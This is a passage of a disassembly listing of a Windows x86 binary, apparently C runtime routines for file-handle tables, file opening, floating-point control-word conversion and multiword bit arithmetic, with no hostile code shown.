		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4CECE0


loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]


loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B


loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4CEDE0
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------


loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_4CEDE0, 20h
		lea	ecx, ds:4CECE0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------


loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_433C64, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------


loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 26009E2h


loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------


loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh


loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4CEDE0
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_433C64, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------


loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		call	near ptr 26009E2h
		nop


loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------


loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh


loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 26005B0h
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 2670ADCh
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------


loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax


loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_4CD9B8, eax


loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------


loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_4CDC88, eax
		jz	short loc_41FF11


loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h


loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37


loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_4CD9B4, 16h
		mov	dword_4CD9B8, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------


loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------


loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h


loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------


loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx


loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------


loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------


loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1


loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_4CD9BC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi


loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi


loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------


loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h


loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F


loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------


loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26707CBh
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		nop
		call	near ptr 2651922h


loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		call	near ptr 2670ADCh
		nop
		push	eax
		call	sub_41EF44
		pop	ecx


loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------


loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------


loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8


loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_4CD9B8, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------


loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155


loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161


loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx


loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------


loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx


loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax


loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8


loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4


loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2


loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1


loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h


loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------


loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1


loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------


loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h


loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax


loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4


loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8


loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h


loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h


loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2


loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------


loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4


loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx


loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]


loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A


loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]


loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A


loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]


loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
